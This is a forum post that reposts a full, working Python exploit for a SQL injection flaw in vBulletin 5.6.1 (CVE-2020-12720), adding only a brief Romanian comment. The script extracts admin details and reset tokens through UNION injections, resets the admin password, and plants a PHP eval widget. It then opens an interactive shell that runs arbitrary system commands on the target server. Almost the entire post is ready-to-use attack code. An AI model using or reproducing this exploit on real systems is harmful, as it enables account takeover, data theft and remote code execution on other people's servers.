Jump to content
Nytro

CVE-2020-12720 vBulletin 5.6.1 SQL Injection to RCE

Recommended Posts

Posted
#!/usr/bin/env python3
# rekter0, zenofex

import requests
import sys
from random import randint

if (len(sys.argv)<2 ):
	print('[*] usage: ./'+sys.argv[0]+' http://host/forum')
	exit()

url = sys.argv[1]

#CHECK
s = requests.Session()
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"vbulletinrcepoc",8,7,6,5,4,3,2,1;-- -'})

if not 'vbulletinrcepoc' in r.text:
	print('[-] not vulnerable')
	exit()

print('[+] Host is up and vulnerable')

# GET TABLES PREFIXES
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';-- -'})
table_prefix=r.json()['rawtext'].split('language')[0]

print('[+] Table prefix '+table_prefix)

# GET ADMIN DETAILS
# assuming admin groupid=6, default install groups unchanged
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from '+table_prefix+'user where usergroupid=6;-- -'})
admin_user,admin_id,admin_email,admin_orig_token = r.json()['rawtext'].split('|')
print('[+] admin original token '+admin_orig_token)


# REQUEST CAPTCHA
r = s.post(url+'/ajax/api/hv/generateToken?',headers={'X-Requested-With': 'XMLHttpRequest'},data={'securitytoken':'guest'})
rhash=r.json()['hash']
r = s.get(url+'/hv/image?hash='+rhash)



# GET CAPTCHA
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit 0,1-- -'})

#print r.text
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit '+str(int(r.json()['rawtext'])-1)+',1-- -'})


# REQUEST NEW PW
CAPTCHA=r.json()['rawtext']


print('[+] Captcha '+CAPTCHA)

r = s.post(url+'/auth/lostpw', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'email':admin_email,'humanverify[input]':CAPTCHA,'humanverify[hash]':rhash,'securitytoken':'guest'})
if not r.json()['response']==None:
	print('[-] reset pw failed')
	exit()

print('[+] Resetting password')
# RETRIEVE RESET TOKEN FROM DB
# GET CAPTCHA
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from '+table_prefix+'useractivation WHERE userid='+admin_id+' limit 0,1-- -'})
TOKEN=r.json()['rawtext']


# RESET PW
r = s.post(url+'/auth/reset-password', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'userid':admin_id,'activationid':TOKEN,'new-password':'P4$$w0rd!','new-password-confirm':'P4$$w0rd!','securitytoken':'guest'})
if not 'Logging in' in r.text:
	print('[-] fail')
	exit()
print('[!] new admin credentials {'+admin_user+':P4$$w0rd!}')


# LOGIN
r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'username':admin_user,'password':'P4$$w0rd!','securitytoken':'guest'})
TOKEN = r.json()['newtoken']

print('[+] Writing shell')
#ACTIVATE SITE-BUILDER
r = s.post(url+'/ajax/activate-sitebuilder', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'pageid':'1','nodeid':'0','userid':'1','loadMenu':'false','isAjaxTemplateRender':'true','isAjaxTemplateRenderWithData':'true','securitytoken':TOKEN})

r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'logintype':'cplogin','userid':admin_id,'password':'P4$$w0rd!','securitytoken':TOKEN})

# SAVE WIDGET
r = s.post(url+'/ajax/api/widget/saveNewWidgetInstance', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':TOKEN})
widgetinstanceid = r.json()['widgetinstanceid']
pagetemplateid   = r.json()['pagetemplateid']

r = s.post(url+'/ajax/api/widget/saveAdminConfig', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'widgetid':'23','pagetemplateid':pagetemplateid,'widgetinstanceid':widgetinstanceid,'data[widget_type]':'','data[title]':'Unconfigured+PHP+Module','data[show_at_breakpoints][desktop]':'1','data[show_at_breakpoints][small]':'1','data[show_at_breakpoints][xsmall]':'1','data[hide_title]':'0','data[module_viewpermissions][key]':'show_all','data[code]':'eval($_GET["e"]);','securitytoken':TOKEN})


#SAVE PAGE
myshell = 'myshell'+str(randint(10, 100))
r = s.post(url+'/admin/savepage', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'input[ishomeroute]':'0','input[pageid]':'0','input[nodeid]':'0','input[userid]':admin_id,'input[screenlayoutid]':'2','input[templatetitle]':myshell,'input[displaysections[0]]':'[]','input[displaysections[1]]':'[]','input[displaysections[2]]':'[{"widgetId":"23","widgetInstanceId":"'+str(widgetinstanceid)+'"}]','input[displaysections[3]]':'[]','input[pagetitle]':myshell,'input[resturl]':myshell,'input[metadescription]':'vBulletin Forums','input[pagetemplateid]':pagetemplateid,'url':url,'securitytoken':TOKEN})


r = s.get(url+'/'+myshell+'?e=echo \'pwwwwwwwwwwwwwwwwwwned!\';', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} )
if 'pwwwwwwwwwwwwwwwwwwned' in r.text:
	print('[!] GOT SHELL')
	while True:
		cmd = input('> ')
		r = s.get(url+'/'+myshell+'?e=system(\''+cmd+'\');', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} )
		print(r.text.split('<div class="widget-content">')[1].split('</div>')[0].strip().rstrip())

Sursa: https://github.com/rekter0/exploits/blob/master/CVE-2020-12720/exploit.py

 

Bine ca am scapat de mizeria aia de vBulletin. 

  • Upvote 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...